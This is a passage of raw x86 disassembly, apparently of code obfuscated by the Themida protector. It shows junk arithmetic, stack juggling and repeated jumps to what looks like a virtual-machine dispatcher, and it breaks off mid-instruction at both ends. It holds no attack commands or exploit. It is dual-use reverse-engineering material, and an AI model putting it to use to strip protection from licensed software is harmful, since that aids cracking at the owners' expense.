[esp], 463F7ACEh pop eax push edx mov edx, 1EDF4A5Dh or edx, 11EF7C08h shr edx, 4 not edx jmp loc_5567E1 ; --------------------------------------------------------------------------- loc_55657E: ; CODE XREF: Themida_:00554066j xor ebx, edi pop edi add eax, ebx pop ebx add eax, 2 xchg eax, [esp] pop esp test cx, ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556594: ; CODE XREF: Themida_:0055585Ej sub al, 2Ch push edx push ebx jmp loc_55D30E ; --------------------------------------------------------------------------- loc_55659D: ; CODE XREF: Themida_:005563F2j neg ebp dec ebp jmp loc_556B57 ; --------------------------------------------------------------------------- loc_5565A5: ; CODE XREF: Themida_:00557714j sub ch, bl pop ebx xor ch, 7Eh and ch, 91h shr ch, 1 sub esp, 2 mov [esp], cx inc byte ptr [esp+1] pop cx xor ch, 0D7h jmp loc_559725 ; --------------------------------------------------------------------------- loc_5565C5: ; CODE XREF: Themida_:005556DBj push edx push eax mov eax, 2 push edi mov edi, eax mov edx, edi pop edi mov eax, [esp] push esi mov esi, esp add esi, 4 push ebx mov ebx, 45127A32h not ebx jmp loc_559E5C ; --------------------------------------------------------------------------- loc_5565EB: ; CODE XREF: Themida_:0055D2FAj neg edi add edi, 12B72586h add ebx, 747E5518h sub ebx, edi sub ebx, 747E5518h jmp loc_558878 ; --------------------------------------------------------------------------- loc_556606: ; CODE XREF: Themida_:0055CA4Dj not cx jmp loc_555D59 ; --------------------------------------------------------------------------- loc_55660E: ; CODE XREF: Themida_:00558E2Dj or ecx, 147547C7h jmp loc_5598E2 ; --------------------------------------------------------------------------- mov cx, [esp] push 59F7h jmp loc_55C500 ; --------------------------------------------------------------------------- loc_556627: ; CODE XREF: Themida_:005569D0j push esi jmp loc_55C8BC ; --------------------------------------------------------------------------- loc_55662D: ; CODE XREF: Themida_:00556054j sub esi, 3F1935E3h jmp loc_552C71 ; --------------------------------------------------------------------------- loc_556638: ; CODE XREF: Themida_:005529B9j mov esi, esp jmp loc_55A32E ; --------------------------------------------------------------------------- loc_55663F: ; CODE XREF: Themida_:0055451Dj pop edx jmp loc_552AD3 ; --------------------------------------------------------------------------- loc_556645: ; CODE XREF: Themida_:00557EFCj add ecx, 0BA2CBF16h jmp loc_55A78F ; --------------------------------------------------------------------------- loc_556650: ; CODE XREF: Themida_:00557DCDj xor edx, 1AF23CC6h jmp loc_553A15 ; --------------------------------------------------------------------------- loc_55665B: ; CODE XREF: Themida_:005598CFj pop edx xchg esi, [esp] pop esp xor ebx, eax pop small word ptr [eax] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55666A: ; CODE XREF: Themida_:00557EE5j mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 jmp loc_55A33F ; --------------------------------------------------------------------------- loc_556680: ; CODE XREF: Themida_:0055B01Aj add esp, 4 jmp loc_5534FA ; --------------------------------------------------------------------------- loc_556688: ; CODE XREF: Themida_:0055BB14j push edi push esi mov esi, 371A3DFBh mov edi, 0C946D185h add edi, esi pop esi push esi push ebx push edx mov edx, 0B9A11A4h jmp loc_5542E9 ; --------------------------------------------------------------------------- loc_5566A4: ; CODE XREF: Themida_:00555746j add dword ptr [esp], 4 pop esi add esi, 4 push ebx push 2 pop ebx push ebx mov ebx, 55B96CA2h add ebx, 0B2BCA0B7h sub esi, ebx push dword ptr [esp] pop ebx add esp, 4 add esi, ebx add esi, 8760D59h pop ebx xchg esi, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5566E6: ; CODE XREF: Themida_:0055D74Fj or cl, 75h jmp loc_551BC0 ; --------------------------------------------------------------------------- loc_5566EE: ; CODE XREF: Themida_:0055571Dj mov cl, 11h push ecx mov ch, 0A3h or ch, 3Ch sub ch, 0Dh mov dl, ch jmp loc_553DF9 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_55A514 ; --------------------------------------------------------------------------- loc_55670F: ; CODE XREF: Themida_:005529C1j mov edi, 1DB2671Eh sub esi, edi pop edi jmp loc_55A507 ; --------------------------------------------------------------------------- loc_55671C: ; CODE XREF: Themida_:0055CE84j not dword ptr [esp] pop ebx neg ebx sub ebx, 0A0666929h mov ecx, 0BAF68FE4h sub ecx, ebx pop ebx inc ecx xor ecx, 77696EB9h add edx, ecx pop ecx sub edx, 54A019FDh sub edx, 3F1225DCh sub edx, 4B7A2801h add edx, eax push ebp mov ebp, 4B7A2801h add edx, ebp pop ebp jmp loc_5584E0 ; --------------------------------------------------------------------------- loc_55675C: ; CODE XREF: Themida_:005579BAj push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax xor [esp], eax xor eax, [esp] xor [esp], eax mov edi, [esp] add esp, 4 xor eax, edi xor edi, eax jmp loc_5574B5 ; --------------------------------------------------------------------------- mov ax, [esp] push edx jmp loc_55B1CA ; --------------------------------------------------------------------------- loc_556788: ; CODE XREF: Themida_:00557D10j add eax, 4 push esi push ebp mov ebp, 7C12310Fh mov esi, 573D5AB6h xor esi, ebp pop ebp xor esi, 4D8C051Fh push eax mov eax, 68BB1B81h jmp loc_555497 ; --------------------------------------------------------------------------- loc_5567AD: ; CODE XREF: Themida_:00551ACEj push dword ptr [esp] pop eax add esp, 4 add ebx, 2DE67378h add ebx, eax sub ebx, 2DE67378h push 417h jmp loc_5576C8 ; --------------------------------------------------------------------------- loc_5567CC: ; CODE XREF: Themida_:005527B5j push ebx mov ebx, 18635AA9h neg ebx push esi mov esi, 0E79CA555h sub ebx, esi jmp loc_55A3B4 ; --------------------------------------------------------------------------- loc_5567E1: ; CODE XREF: Themida_:00556579j inc edx sub edx, 0B7C08D4Dh xor eax, edx pop edx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55BCF2 ; --------------------------------------------------------------------------- loc_556800: ; CODE XREF: Themida_:00556F30j add ecx, edi pop edi jmp loc_55B98A ; --------------------------------------------------------------------------- loc_556808: ; CODE XREF: Themida_:00553716j mov esp, [esp] mov ax, [esp] push edx push 56F6h mov [esp], esp add dword ptr [esp], 4 pop edx push ecx mov ecx, 8940AE9h jmp loc_55902D ; --------------------------------------------------------------------------- loc_55682B: ; CODE XREF: Themida_:00553038j pop edx add esp, 4 xor eax, edx jmp loc_553F73 ; --------------------------------------------------------------------------- loc_556836: ; CODE XREF: Themida_:00558088j pop dword ptr [esp] jmp loc_554215 ; --------------------------------------------------------------------------- loc_55683E: ; CODE XREF: Themida_:005533C2j push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 push 8B3h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5531B8 ; --------------------------------------------------------------------------- loc_55686E: ; CODE XREF: Themida_:0055DCBCj pop edi xor edx, [esp] jmp loc_553710 ; --------------------------------------------------------------------------- loc_556877: ; CODE XREF: Themida_:0055291Ej mov [esp], esi jmp loc_55AC89 ; --------------------------------------------------------------------------- loc_55687F: ; CODE XREF: Themida_:00553359j mov eax, [esp] push edx mov edx, esp push ebx jmp loc_555381 ; --------------------------------------------------------------------------- loc_55688B: ; CODE XREF: Themida_:005523EBj mov ebx, 6A307D8Bh and edx, ebx pop ebx push 0 sub [esp], edx pop edx jmp loc_555539 ; --------------------------------------------------------------------------- loc_5568A1: ; CODE XREF: Themida_:00551883j pop esp mov eax, [esp] add esp, 4 jmp loc_55C34A ; --------------------------------------------------------------------------- loc_5568B0: ; CODE XREF: Themida_:0055C393j mov ecx, 7B4E0CB7h add [esp+4], ecx pop ecx push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 70BFh mov [esp], ebx mov ebx, 7B4E0CB7h sub eax, ebx pop ebx push esi push 13420F2Bh push dword ptr [esp] jmp loc_5555EA ; --------------------------------------------------------------------------- loc_5568FB: ; CODE XREF: Themida_:005587FCj add ebx, 4 jmp loc_553DA7 ; --------------------------------------------------------------------------- loc_556906: ; CODE XREF: Themida_:00553624j dec dl jmp loc_5523AB ; --------------------------------------------------------------------------- loc_55690D: ; CODE XREF: Themida_:0055BC2Ej shr ecx, 4 inc ecx xor ecx, 38F0A6Fh jmp loc_55424B ; --------------------------------------------------------------------------- loc_55691C: ; CODE XREF: Themida_:0055A4C9j push edi push esi xor dword ptr [esp], 5B8E0BDEh pop edi xor edi, 5B8E0BDEh mov edx, edi pop edi pop esi push dword ptr [esp] pop ebp push ebx jmp loc_5553D9 ; --------------------------------------------------------------------------- loc_55693A: ; CODE XREF: Themida_:0055C0D4j push eax push esp pop eax push ebx push 4 pop ebx add eax, ebx pop ebx push 523Ch mov [esp], ebx mov ebx, 4 sub eax, 76C87C28h jmp loc_55A857 ; --------------------------------------------------------------------------- loc_55695E: ; CODE XREF: Themida_:005587F5j push ebp mov ebp, 51B00817h add ebx, ebp pop ebp jmp loc_559DDC ; --------------------------------------------------------------------------- loc_55696C: ; CODE XREF: Themida_:0055ADA1j xchg ecx, [esp] mov esp, [esp] jmp loc_553004 ; --------------------------------------------------------------------------- loc_556977: ; CODE XREF: Themida_:0055A88Ej mov ebp, 7AE908C9h or ebp, 7D1A42C0h jmp loc_55513D ; --------------------------------------------------------------------------- loc_556987: ; CODE XREF: Themida_:0055707Ej sub al, 0BDh add al, 3Dh sub bl, al pop eax push edx jmp loc_55D53F ; --------------------------------------------------------------------------- loc_556994: ; CODE XREF: Themida_:0055B8A4j not ecx add ecx, 95AAB43Fh jmp loc_553CDE ; --------------------------------------------------------------------------- loc_5569A1: ; CODE XREF: Themida_:0055C013j div cl jmp loc_5546EA ; --------------------------------------------------------------------------- loc_5569A8: ; CODE XREF: Themida_:005533B6j mov [esp], edx jmp loc_5589EF ; --------------------------------------------------------------------------- loc_5569B0: ; CODE XREF: Themida_:0055C267j shl cl, 7 jmp loc_554D7F ; --------------------------------------------------------------------------- loc_5569B8: ; CODE XREF: Themida_:005596DCj add edx, 548C6424h jmp loc_55742F ; --------------------------------------------------------------------------- loc_5569C3: ; CODE XREF: Themida_:0055366Aj mov esi, esp jmp loc_55B15F ; --------------------------------------------------------------------------- loc_5569CA: ; CODE XREF: Themida_:0055A329j mov eax, ebx pop ebx mov ecx, [esp] jmp loc_556627 ; --------------------------------------------------------------------------- loc_5569D5: ; CODE XREF: Themida_:0055C9E7j pop esp push 68C8h jmp loc_5526FE ; --------------------------------------------------------------------------- loc_5569E0: ; CODE XREF: Themida_:005539CFj mov ch, 8Ch xor ch, dh pop edx inc ch inc ch add ch, 27h sub ah, ch mov ecx, [esp] add esp, 4 jmp loc_55956C ; --------------------------------------------------------------------------- loc_5569F9: ; CODE XREF: Themida_:005535E2j xor edx, 14E319EEh add edx, 9DA48B8Fh jmp loc_5519FC ; --------------------------------------------------------------------------- loc_556A0A: ; CODE XREF: Themida_:005549D0j pop esp xchg ebx, [esp] pop esp push edx mov edx, 80h and ecx, edx jmp loc_551ED8 ; --------------------------------------------------------------------------- loc_556A1C: ; CODE XREF: Themida_:0055399Dj mov ebp, 34BC63DBh mov esi, ebp pop ebp sub ebx, esi pop esi pop edx shr ebx, 5 push edi jmp loc_552E8C ; --------------------------------------------------------------------------- loc_556A31: ; CODE XREF: Themida_:0055985Fj add esp, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556A48: ; CODE XREF: Themida_:00553C1Aj push dx push ecx jmp loc_55813C ; --------------------------------------------------------------------------- loc_556A50: ; CODE XREF: Themida_:00556508j mov esp, [esp] jmp loc_5528A5 ; --------------------------------------------------------------------------- loc_556A58: ; CODE XREF: Themida_:00553F95j push ecx mov ecx, 6DDA0CFAh shl ecx, 6 sub ecx, 638F208Eh jmp loc_557844 ; --------------------------------------------------------------------------- loc_556A6C: ; CODE XREF: Themida_:0055554Bj shl esi, 6 push edi mov edi, 46182B7Fh xor esi, edi mov edi, [esp] push eax mov eax, esp jmp loc_5524FC ; --------------------------------------------------------------------------- loc_556A82: ; CODE XREF: Themida_:0055A9E0j mov esp, [esp] push dword ptr [esp] mov eax, [esp] push edi mov edi, esp jmp loc_5577F3 ; --------------------------------------------------------------------------- loc_556A93: ; CODE XREF: Themida_:0055497Cj mov bl, ch mov al, bl mov ebx, [esp] add esp, 4 push edx mov dh, al jmp loc_55A808 ; --------------------------------------------------------------------------- loc_556AA8: ; CODE XREF: Themida_:00558FE2j add al, ch sub al, 46h push ecx mov ch, 31h add al, ch pop ecx jmp loc_558A66 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 13369C5h add eax, 385A3F7Bh sub eax, 1CAF5BB0h jmp loc_55C1A6 ; --------------------------------------------------------------------------- loc_556ACD: ; CODE XREF: Themida_:0055CE6Aj mov esi, 0F8A61BAh add edx, esi jmp loc_55B260 ; --------------------------------------------------------------------------- loc_556AD9: ; CODE XREF: Themida_:0055A68Dj add dword ptr [esp], 4 jmp loc_55B074 ; --------------------------------------------------------------------------- loc_556AE5: ; CODE XREF: Themida_:00555833j sub eax, 4 jmp loc_55608F ; --------------------------------------------------------------------------- loc_556AEF: ; CODE XREF: Themida_:00556B75j add ecx, 4 jmp loc_55CEB5 ; --------------------------------------------------------------------------- lodsb jmp loc_55C16D ; --------------------------------------------------------------------------- loc_556B00: ; CODE XREF: Themida_:0055CE7Dj mov [esp], edx mov edx, 4 mov esi, edx mov edx, [esp] add esp, 4 jmp loc_55C590 ; --------------------------------------------------------------------------- loc_556B18: ; CODE XREF: Themida_:00556302j sub esp, 4 mov [esp], edx push edi push esi push 35717ACDh mov esi, [esp] add esp, 4 shl esi, 2 xchg edi, esi not edi xchg edi, esi sub esi, 1 xor esi, 72001D6Fh mov edi, esi pop esi jmp loc_557DAA ; --------------------------------------------------------------------------- loc_556B4B: ; CODE XREF: Themida_:00558C1Fj mov [esp], edi push dword ptr [esp] pop edx jmp loc_5550BF ; --------------------------------------------------------------------------- loc_556B57: ; CODE XREF: Themida_:005565A0j shl ebp, 1 and ebp, 7B1825C5h jmp loc_5597DE ; --------------------------------------------------------------------------- push dword ptr [esp+4] mov eax, [esp] push 0C36h mov [esp], ecx push esp pop ecx jmp loc_556AEF ; --------------------------------------------------------------------------- loc_556B7A: ; CODE XREF: Themida_:005575CAj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55367C ; --------------------------------------------------------------------------- loc_556B8D: ; CODE XREF: Themida_:0055D59Cj push dx mov dh, 79h add ch, dh jmp loc_555097 ; --------------------------------------------------------------------------- loc_556B98: ; CODE XREF: Themida_:0055C230j mov edi, 0C442658h jmp loc_554F18 ; --------------------------------------------------------------------------- loc_556BA2: ; CODE XREF: Themida_:00556E6Bj add ebp, 7F5316Fh xor ebp, 756124DEh add ebp, 1B7D3915h xor ebp, 6CED26Dh mov ebx, ebp jmp loc_555A1B ; --------------------------------------------------------------------------- loc_556BC1: ; CODE XREF: Themida_:00551DC6j add esp, 4 xor ecx, [esp] jmp loc_55AF1A ; --------------------------------------------------------------------------- loc_556BCF: ; CODE XREF: Themida_:0055D2B8j mov ecx, 675365E1h jmp loc_556FD3 ; --------------------------------------------------------------------------- loc_556BD9: ; CODE XREF: Themida_:0055AC8Ej mov [esp], ecx mov ecx, 27281F2Ch add dword ptr [esp+4], 764361C8h add [esp+4], ecx sub dword ptr [esp+4], 764361C8h jmp loc_558B4E ; --------------------------------------------------------------------------- loc_556BFA: ; CODE XREF: Themida_:0055C6BFj pop esp jmp loc_55A320 ; --------------------------------------------------------------------------- loc_556C00: ; CODE XREF: Themida_:0055A407j sub esp, 4 jmp loc_552800 ; --------------------------------------------------------------------------- loc_556C08: ; CODE XREF: Themida_:0055768Fj push ecx jmp loc_553EFA ; --------------------------------------------------------------------------- loc_556C0E: ; CODE XREF: Themida_:0055638Aj mov ebx, [esp] add esp, 4 jmp loc_554452 ; --------------------------------------------------------------------------- loc_556C1C: ; CODE XREF: Themida_:0055B11Bj push ebp mov ebp, 3EB8751Ch jmp loc_55421D ; --------------------------------------------------------------------------- loc_556C27: ; CODE XREF: Themida_:005526B0j pop ebx add eax, 4E576CAh sub eax, edi sub eax, 4E576CAh jmp loc_552BA1 ; --------------------------------------------------------------------------- loc_556C39: ; CODE XREF: Themida_:005582B4j push 2710h jmp loc_5527DD ; --------------------------------------------------------------------------- loc_556C43: ; CODE XREF: Themida_:00553C70j add esp, 4 push edx jmp loc_55B14C ; --------------------------------------------------------------------------- loc_556C4C: ; CODE XREF: Themida_:0055AE11j add ebx, ebp pop ebp inc ebx and ebx, 5DAB7DA0h xor ebx, 48B1521h mov edx, ebx pop ebx and eax, edx push dword ptr [esp] mov edx, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 jmp loc_551E26 ; --------------------------------------------------------------------------- loc_556C82: ; CODE XREF: Themida_:00553D55j xor [esp], ebx xor ebx, [esp] pop esp jmp loc_551815 ; --------------------------------------------------------------------------- loc_556C8E: ; CODE XREF: Themida_:00558B0Fj push ebp push ebx jmp loc_552DC6 ; --------------------------------------------------------------------------- loc_556C95: ; CODE XREF: Themida_:0055BD42j xor ecx, 6B357119h jmp loc_551B3E ; --------------------------------------------------------------------------- mov cx, [esp] push 6816h mov [esp], esi jmp loc_55C2FC ; --------------------------------------------------------------------------- loc_556CB1: ; CODE XREF: Themida_:0055341Cj mov edi, 925686A1h sub edi, esi jmp loc_557450 ; --------------------------------------------------------------------------- loc_556CBD: ; CODE XREF: Themida_:005593E0j mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 jmp loc_55ACB0 ; --------------------------------------------------------------------------- loc_556CD3: ; CODE XREF: Themida_:0055D790j mov [esp], ecx jmp loc_55A271 ; --------------------------------------------------------------------------- loc_556CDB: ; CODE XREF: Themida_:005578A7j add esp, 4 add esp, 4 add ebx, eax push eax mov eax, 38852B86h add eax, 497E4AE8h xor eax, 0F93036D6h jmp loc_55C64E ; --------------------------------------------------------------------------- loc_556CFB: ; CODE XREF: Themida_:005592FDj xor ecx, 0E20A80CFh add eax, offset byte_5D3883 add eax, ecx sub eax, offset byte_5D3883 pop ecx push 7341h mov [esp], ecx push edi mov edi, 17ED0650h mov ecx, 17ED0654h sub ecx, edi pop edi add eax, 73E54625h add eax, ecx sub eax, 73E54625h mov ecx, [esp] jmp loc_55B656 ; --------------------------------------------------------------------------- loc_556D38: ; CODE XREF: Themida_:0055394Fj push 0F88h mov [esp], edi push 35F93761h pop edi push ebx mov ebx, 3BBF39FBh shl ebx, 6 jmp loc_55D15E ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_556136 ; --------------------------------------------------------------------------- loc_556D5E: ; CODE XREF: Themida_:0055A6BFj add ch, 0EBh xor ch, 0B6h jmp loc_557C50 ; --------------------------------------------------------------------------- loc_556D69: ; CODE XREF: Themida_:00551F53j mov esi, 459E4CF9h neg esi xor esi, 0BA61B303h add eax, esi jmp loc_555832 ; --------------------------------------------------------------------------- loc_556D7D: ; CODE XREF: Themida_:0055D980j pop ebx mov eax, ebx pop ebx jmp loc_55D349 ; --------------------------------------------------------------------------- loc_556D86: ; CODE XREF: Themida_:0055753Bj mov [esp], ebp mov ebp, 7C3320CFh jmp loc_558FF7 ; --------------------------------------------------------------------------- loc_556D93: ; CODE XREF: Themida_:0055489Fj mov ch, 0EFh shr ch, 5 and ch, 42h push eax mov al, 28h add al, 28h xor al, 0EFh add al, 79h add ch, al jmp loc_557DFE ; --------------------------------------------------------------------------- loc_556DAB: ; CODE XREF: Themida_:0055CC7Aj add esp, 4 push eax mov eax, 2 add ecx, eax mov eax, [esp] add esp, 4 xchg ecx, [esp] pop esp mov ax, [esp] push ecx mov ecx, esp sub esp, 4 mov [esp], esi push 42F3h mov [esp], edx push 2F5A60FFh pop edx push ebp mov ebp, 20BC4940h xor ebp, 6F47268Ah add ebp, 13785532h jmp loc_5536C5 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55BE5D ; --------------------------------------------------------------------------- loc_556E01: ; CODE XREF: Themida_:005550A4j mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 2 jmp loc_5563C4 ; --------------------------------------------------------------------------- loc_556E14: ; CODE XREF: Themida_:0055BFA6j pop eax push ax push edx mov dh, 71h jmp loc_5542B7 ; --------------------------------------------------------------------------- loc_556E1F: ; CODE XREF: Themida_:0055620Ej push dword ptr [esp] pop ebx push edi jmp loc_5528DE ; --------------------------------------------------------------------------- loc_556E29: ; CODE XREF: Themida_:00555F89j pop esp mov ecx, [esp] jmp loc_55A4AD ; --------------------------------------------------------------------------- loc_556E32: ; CODE XREF: Themida_:005551A3j xchg esi, [esp] jmp loc_55BAE8 ; --------------------------------------------------------------------------- loc_556E3A: ; CODE XREF: Themida_:0055D002j push eax jmp loc_55AF85 ; --------------------------------------------------------------------------- loc_556E40: ; CODE XREF: Themida_:005585E2j mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx jmp loc_55571A ; --------------------------------------------------------------------------- loc_556E5E: ; CODE XREF: Themida_:0055870Ej pop esp jmp loc_5577EE ; --------------------------------------------------------------------------- loc_556E64: ; CODE XREF: Themida_:00557541j sub ebp, 2C9C1175h inc ebp jmp loc_556BA2 ; --------------------------------------------------------------------------- loc_556E70: ; CODE XREF: Themida_:005575BBj pop dword ptr [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556E7F: ; CODE XREF: Themida_:00554339j push ebp mov ebp, 70C21683h inc ebp not ebp jmp loc_556541 ; --------------------------------------------------------------------------- loc_556E8D: ; CODE XREF: Themida_:005523FCj add esp, 4 jmp loc_557793 ; --------------------------------------------------------------------------- loc_556E98: ; CODE XREF: Themida_:00557CBCj mov edi, esp push ebx mov ebx, 526B7508h not ebx push eax push ebx mov ebx, 617352DDh not ebx and ebx, 668135Dh jmp loc_551C91 ; --------------------------------------------------------------------------- loc_556EB6: ; CODE XREF: Themida_:00559493j mov [esp], edi push 5263h jmp loc_5579B7 ; --------------------------------------------------------------------------- loc_556EC3: ; CODE XREF: Themida_:0055A997j pop ebp add ebp, eax pop eax push 47B0h mov [esp], edx mov edx, 2 sub ebp, edx jmp loc_55A114 ; --------------------------------------------------------------------------- loc_556EDB: ; CODE XREF: Themida_:00558FD9j add esp, 4 push ebp mov ebp, 4 sub ecx, 1AC67AD8h add ecx, ebp add ecx, 1AC67AD8h mov ebp, [esp] jmp loc_551CD0 ; --------------------------------------------------------------------------- loc_556EFA: ; CODE XREF: Themida_:0055C1E1j xchg edx, [esp] pop esp push dword ptr [esp] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 push edi mov edi, 3FCA7E7Eh sub ecx, edi pop edi add ecx, 58FB34E3h add ecx, edi sub ecx, 58FB34E3h push edi mov edi, 3FCA7E7Eh jmp loc_556800 ; --------------------------------------------------------------------------- loc_556F35: ; CODE XREF: Themida_:0055C1B0j add eax, ebx jmp loc_55265B ; --------------------------------------------------------------------------- loc_556F3C: ; CODE XREF: Themida_:0055AE6Bj add esi, 4 sub esp, 4 jmp loc_5554FF ; --------------------------------------------------------------------------- loc_556F4D: ; CODE XREF: Themida_:0055D8B5j add esp, 4 jmp loc_55C31E ; --------------------------------------------------------------------------- loc_556F55: ; CODE XREF: Themida_:0055DA04j inc eax and eax, 6C870D47h sub eax, 0BB9D65h jmp loc_55A0C3 ; --------------------------------------------------------------------------- loc_556F65: ; CODE XREF: Themida_:00557666j add ecx, 58EF6C16h jmp loc_55AD1B ; --------------------------------------------------------------------------- loc_556F70: ; CODE XREF: Themida_:00557726j mov ecx, [esp] add esp, 4 jmp loc_55D78A ; --------------------------------------------------------------------------- loc_556F7E: ; CODE XREF: Themida_:0055A852j mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_556F8B: ; CODE XREF: Themida_:00557AFEj pop eax jmp loc_5572D9 ; --------------------------------------------------------------------------- loc_556F91: ; CODE XREF: Themida_:0055190Ej mov dh, ch pop ecx add al, dh pop edx add al, cl sub al, 77h mov cx, [esp] push ecx mov ecx, esp push ebp jmp loc_558809 ; --------------------------------------------------------------------------- loc_556FA8: ; CODE XREF: Themida_:0055AD16j add [esp+8], eax jmp loc_55CD61 ; --------------------------------------------------------------------------- loc_556FB1: ; CODE XREF: Themida_:0055846Dj mov ebx, [esp] add esp, 4 jmp loc_557E10 ; --------------------------------------------------------------------------- loc_556FBC: ; CODE XREF: Themida_:0055BFCFj push ebp pop eax jmp loc_55506E ; --------------------------------------------------------------------------- loc_556FC3: ; CODE XREF: Themida_:00553A10j mov [esp], esi push esp pop esi jmp loc_55BC33 ; --------------------------------------------------------------------------- loc_556FCD: ; CODE XREF: Themida_:0055606Fj pop edi jmp loc_55BDED ; --------------------------------------------------------------------------- loc_556FD3: ; CODE XREF: Themida_:00556BD4j xor edi, ecx pop ecx push edx mov edx, 63E14AC8h jmp loc_55B665 ; --------------------------------------------------------------------------- loc_556FE1: ; CODE XREF: Themida_:0055619Dj add eax, 49207D0h jmp loc_557A96 ; --------------------------------------------------------------------------- loc_556FEB: ; CODE XREF: Themida_:0055C353j xor esi, [esp] pop esp mov [esp], edx push esp pop edx push edi mov edi, 4 add edx, edi pop edi add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_551974 ; --------------------------------------------------------------------------- loc_55700E: ; CODE XREF: Themida_:0055DB10j push edx mov dl, 0C9h sub dl, 35h sub bl, 88h add bl, dl add bl, 88h pop edx jmp loc_55AE3A ; --------------------------------------------------------------------------- loc_557022: ; CODE XREF: Themida_:0055B39Cj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, ebx push ecx push esi mov ecx, [esp] jmp loc_5573F9 ; --------------------------------------------------------------------------- loc_557038: ; CODE XREF: Themida_:0055DD33j or eax, 671B4A41h shl eax, 8 xor eax, 0BF6B5700h mov edx, eax mov eax, [esp] add esp, 4 add edx, ecx jmp loc_55C606 ; --------------------------------------------------------------------------- loc_557057: ; CODE XREF: Themida_:0055860Ej pop esp mov ebx, ebp pop ebp mov dword ptr [edx+30h], 0FCF4826Fh add [edx+30h], ebx mov ebx, [esp] push ebx jmp loc_552809 ; --------------------------------------------------------------------------- loc_55706E: ; CODE XREF: Themida_:00552063j shr esi, 5 inc esi jmp loc_55C69B ; --------------------------------------------------------------------------- loc_557077: ; CODE XREF: Themida_:00555F2Fj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55707C: ; CODE XREF: Themida_:0055950Ej inc al jmp loc_556987 ; --------------------------------------------------------------------------- loc_557083: ; CODE XREF: Themida_:00559C26j push 3B71h mov [esp], esi mov esi, esp push edx mov edx, 210370FFh dec edx dec edx jmp loc_55AFBB ; --------------------------------------------------------------------------- loc_55709A: ; CODE XREF: Themida_:0055CECBj xor [esp], eax xor eax, [esp] jmp loc_55D33E ; --------------------------------------------------------------------------- loc_5570A5: ; CODE XREF: Themida_:0055AFACj add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp div ecx jmp loc_55B0C8 ; --------------------------------------------------------------------------- loc_5570B9: ; CODE XREF: Themida_:0055BD70j push eax mov eax, 2 jmp loc_554009 ; --------------------------------------------------------------------------- loc_5570C4: ; CODE XREF: Themida_:0055D0B4j xchg edx, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx sub esp, 4 jmp loc_553EF2 ; --------------------------------------------------------------------------- loc_5570E4: ; CODE XREF: Themida_:0055A244j add ebp, 5100515Eh pop ebx mov ecx, 0BF1D9D52h jmp loc_55D357 ; --------------------------------------------------------------------------- loc_5570F5: ; CODE XREF: Themida_:0055B869j sub esp, 4 mov [esp], ebp push esp jmp loc_553ADF ; --------------------------------------------------------------------------- loc_557104: ; CODE XREF: Themida_:0055331Aj mov ecx, eax pop eax jmp loc_55379B ; --------------------------------------------------------------------------- loc_55710C: ; CODE XREF: Themida_:00556238j xchg edx, [esp] pop esp jmp loc_55B236 ; --------------------------------------------------------------------------- loc_557115: ; CODE XREF: Themida_:00551E2Cj xor eax, [esp] pop esp add esp, 4 or edx, eax shl edx, 1 xor [edi+24h], edx xor edx, [edi+24h] jmp loc_55B574 ; --------------------------------------------------------------------------- loc_55712E: ; CODE XREF: Themida_:005580D0j and ebx, 7E1473B5h xchg ebp, ebx dec ebp xchg ebp, ebx not ebx push ecx mov ecx, 46A4720Ch sub ecx, 4410439Ah add ecx, 2B253C0Ch or ecx, 9D90998h add ecx, 0CA068A4Eh xor ebx, ecx pop ecx and eax, ebx jmp loc_55C87F ; --------------------------------------------------------------------------- loc_557163: ; CODE XREF: Themida_:0055A729j mov ch, 2Fh add al, ch pop cx add al, bl push ecx mov ch, 0B4h sub ch, 85h jmp loc_557A78 ; --------------------------------------------------------------------------- push 6684h mov [esp], ebx push 1235h mov [esp], ebp mov ebp, 3F540CB7h shl ebp, 3 xor ebp, 0FAA06580h mov ebx, ebp jmp loc_55A650 ; --------------------------------------------------------------------------- loc_55719B: ; CODE XREF: Themida_:00558804j push edx mov edx, 650914EAh sub eax, edx pop edx add eax, 2D48513Eh jmp loc_5549C2 ; --------------------------------------------------------------------------- loc_5571AE: ; CODE XREF: Themida_:00557582j push dword ptr [esp] pop ecx add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_5571BD: ; CODE XREF: Themida_:0055A1B5j pop edi jmp loc_55322C ; --------------------------------------------------------------------------- loc_5571C3: ; CODE XREF: Themida_:0055B660j mov edi, 0DC34387h sub [esp+4], 